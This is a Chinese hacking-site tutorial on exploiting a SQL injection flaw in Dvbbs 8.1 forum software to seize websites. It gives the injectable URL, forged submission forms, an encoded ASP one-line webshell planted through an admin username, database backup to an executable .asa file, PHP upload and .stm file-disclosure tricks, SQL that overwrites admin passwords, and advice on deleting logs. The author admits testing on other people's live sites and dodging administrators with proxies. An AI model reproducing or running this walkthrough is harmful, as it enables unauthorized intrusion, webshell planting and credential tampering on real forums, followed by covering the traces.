来源77169.org
编辑评语:前几天动网最新版本8.1版曝出了一个0DAY,刚曝出就成为了大家的一个焦点。也难怪,树大招风吧,呵呵,大站都有类似情况发生,还经常有人冒充华夏黑客同盟的客服工作人员呢。不过据网友分析这个0DAY拿站的时候有困难,今天我们就来实例剖析一下拿站时的技巧……
|
|
广告时间: 本站原创频道已经公布了一些源码漏洞分析及实例利用的文章,其中,部分文章都出自本站VIP会员之手,包括会员作业及课下互动作品。接下来还有更多的原创图文教程陆续发出,请大家稍安勿躁,敬请期待…… 同时会员区又增加了一系列详细的代码剖析课程,从基础到实例动手,欢迎大家加入…… 咨询:http://www.77169.com/pay |
一、动网8.1漏洞简要分析
动网8.1的通杀漏洞2008年元月新放出来,文笔不好就不浪费这个润色的精力了。具体的漏洞分析我就不写了,作者分析的比较清楚。在UserPay.asp中接受的out_trade_no变量未作过滤:
Order_No=Request("out_trade_no")
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=3 And O_PayCode='"&Order_No&"'")
直接把获取的Order_No放到sql里面去了,不过大家关心的是如何利用,在虚拟机上作个论坛。
1.1、注册后 → 动网先锋论坛 → 用户控制面板 → 购买论坛点券 → 网上支付 → 提交,如图1:
小贴士·延伸阅读: 动网8.1漏洞连接:http://hack.77169.com/HTML/20071014012833.html |
(图1)
1.2、查看UserPay.asp → 所有交易记录 → 订单号 如:2008010914263871334b64cea5f 注:无需关心交易状态是否成功。
(图2)
2.1、当然实际测试中还是有不少网站是删除《购买论坛点券》这一功能的,不过没关系只要UserPay.asp这个页面存在。我们就可以构造一个最简单外部提交表单。注:提交需cookie值,必需在另一页面注册进入论坛
paymoney.htm,参考1.2步骤,如图3:
以下是代码片段: <FORM METHOD=POST ACTION="http://125.116.85.103//UserPay.asp?action=alipay"> <input type=text size=5 name="paymoney" value="1" > <input type=submit name=submit value="网上支付"> |
3.1 构造注入点:
http://125.116.85.103/UserPay.asp?raction=alipay_return&out_trade_no=2008011013085936767b64cea5f,建议用nbsi注入 检测--再检测,使用特征字符:非法的订单参数。前台用户表名可增加Dv_User,图4:
(图4)
4 、ACCESS的拿站过程:
方法一:无上传直接备份拿站
首先我们来看看数据库操作文件data.asp,此文件在选择备份的过程中Case "BackupData" 调用updata()过程:
以下是代码片段: sub updata() 'On error resume next Dim FileConnStr,Fileconn Dim Tempbackpath Dbpath="../"&db 'Dbpath=Replace(request.Form("Dbpath"),chr(0),"") Dbpath=Server.mappath(Dbpath) bkfolder=Replace(request.Form("bkfolder"),chr(0),"") bkdbname=Replace(request.Form("bkdbname"),chr(0),"") Tempbackpath = bkfolder& "/"& bkdbname Rem Add By Dv.唧唧.Net 2007-10-15 If InStr(Lcase(Tempbackpath),".asp")>0 Or InStr(Lcase(Tempbackpath),".aspx")>0 Or InStr(Lcase(Tempbackpath),".php")>0 Then response.write "保存数据库名不合法,必须是有效的MDB文件和文件夹目录!" Response.End Exit Sub End If |
备份过程中Tempbackpath变量不能出现asp、php、aspx。没办法我们就备份成asa.asa,asa.asa在2003系统目录解释漏洞中的成功比率相当高.
在这里还有一个问题没解决,就是dvbbs8.mdb数据库中有<%loop<%防插入字段,我简单来讲一下loop的封闭,具体原理可参考华夏VIP 教学的一句话全套系列中的第二课第一节,这里仅讲一下利用过程:
第一步:在Dv_Admin表名,即在新增的管理员用户名中,插入“┼攠數畣整爠煥敵瑳∨≒┩眾┼砧”用户名,当然你需要事前要注册一个前台用户,用来被指定为管理员 插入的值为<% execute request("R")%>w<%'x”unicode压缩后的代码,如图5:
(图5)
第二步:在Dv_Setup表名,即常规管理-论坛基本设置-开启通讯系统用户名与密码admin|||admin888|||┠砾。“:%>x”unicode压缩后“┠砾”,图6:
(图6)
第三步:压缩数据库来重新排列数据库的结构。需改成如图7:
(图7)
第四步:备份,如后台删除备份页面可构造如下提交表单,效果图见图8,图9:
以下是代码片段: <form method="post" action="http://125.116.85.103/Admin/data.asp?action=BackupData&act=Backup"> <p>备份数据库目录:<input name="bkfolder" type="text" size="80" value="/ysjy.asa"></p> <p>备份数据库名称:<input name="bkDBname" type="text" size="80" value="1.mdb"></p> <p><input type="submit" value="提交"></p> |
(图8)
(图9)
备份成功后就可以提交我们的一句话了。我的虚拟机是2003的机子,见图10,图11:
(图10)
(图11)
最后,别忘了清理PP,一、删除无用管理员 二、重新提交第二步 三、当然是删除自已在论坛中的操作日志了(成功后)Dv_log表名。
方法二:上传PHP
-1、在版面管理-版面分类管理-选择一个二级目录的高级设置-上传文件类型中增加gif|jpg|jpeg|bmp|png|rar|txt|zip|mid|php|mdb|stm,见图12:
(图12)
-2、前台上传PHP、rar、stm、rar文件,我们在前台是看不到文件的真实地址的,效果图13:
(图13)
-3、在这里我们要用到的是动网的列目录漏洞,文件管理-上传文件管理-选择一定的条件-开始搜索,在搜索结果中~需要清理的上传目录中-修改如下:/UploadFile/2008-1也就是真正上传文件的地方-清除未记录文件 注意:<清理同时是否直接从服务器上删除文件>默认选项为否,不然文件就清空了,图14。
(图14)
-4、这样就找到我们真实的文件地址了,如图15:
(图15)
-5、如果PHP能解释就成功了。本机搭建的PHP与WEB不同目录,只能借外力了,见图16所示。
(图16)
方法三:stm文件爆文件内容
我们结合动网的列目录漏洞来操作,因为列目录漏洞仅能列出文件并不能列出文件夹,我们在列出如conn.asp、config.asp、login.asp等文件时,可配件stm文件来爆出文件的真实内容,上传如下1.stm文件内容来爆数据库,<!--#include file="//CONN.ASP"-->,图17:
(图17)
注意通过查看页面源码方可得所爆内容。如果是mssq版的应该能查找SQL连接用户。接下来就用Mssql查询连器来操作了。也可用老兵的数据库管理助手,如图18:
(图18)
如果上述方法都失败我们可以将论坛的基本设置的上传目录设定中的UploadFile/改为/跳到网站根目录将stm文件与列目录漏洞接合,去另找出路,图19。
(图19)
5、如果你很幸运碰到了Mssql版,在未能破解网站的MD5密码时可以考虑用SQL语句修改对方的密码,但要注意:
-1、尽可能不要破坏人家的网站密码
-2、万不得以可考虑修改对方密码,(当然增加管理员就需要你自己对照数据库来构造了,不失为一种好方法,自己就没这个精力去构造了,大家可以试试)
-3、修改对方的密码进后台时应尽快增加自己为管理员,恢复对方的密码。(本人搞笑,一次检测时进去后没修改回来,刚巧碰上管理员,被禁用了IP,后来不得以更换了代理,没敢与管理员抢时间了,呵呵失败。)
没办法,我这个是自己搭建的SQL平台可能是,dvboke.sql并不是完整的东西,很多功能没办法实现,图20:
(图20)
小贴士: 修改密码语句如下: 'update Dv_User set password='49BA59ABBE56E057' where id=1;---- 'update Dv_Admin set password='49BA59ABBE56E057' where id=1;---- 注意加在注入语句后,修改内容需要你自己根据注入定,不可乱套用.不能在自己的机子搞定就在人家的机子上测吧,图21: |
(图21)
方法一: SQL版的动网并不能在主页数据库操作。外部提交本机上测试备份权限不足~~呵呵,如图22:
(图22)
方法二与方法三与上述相同就不重复了,留个图片参考,图23:
(图23)
最后,来个SQL版的成功提权后的照片作个纪念小炫一下,嘿嘿~~~有什么问题大家可以到华夏论坛提问沟通,谢谢!
(图24)
华夏点评:
一手夹烟的文章每次写的都是比较成功的,这次也一样。动网8.1出来之后,很快就被人曝出了漏洞,当然,作为国内一个比较大论坛程序开发商,自然也意识到了这点,官方很快就进行了修改。不过遗憾的是提供的下载版本尚未进行修复。一手夹烟在与本人探讨了一些后,随后就马上进行了本地及实际测试。行文比较仓促,夹烟本来文笔不是很好,本人又急于发表出来,故此,行文未进行润色,希望大家见谅。文中有些地方阐述的不是很详细,大家有问题的话,可以通过以下方式获得解答。同时近期包括接下来一段时间,还会有大量篇幅的关于 脚本类的实际环境下的 原创力作,这其中会涉及到许多目前比较流行的 脚本知识,为此,我们华夏VIP教程特意快马加鞭制作了一系列 脚本相关的详细的知识,更详细、更多的教程仍在开发中,在这方面有欠缺的朋友,可以联系我公司客服人员进行咨询,详细请参考:http://www.77169.com/pay |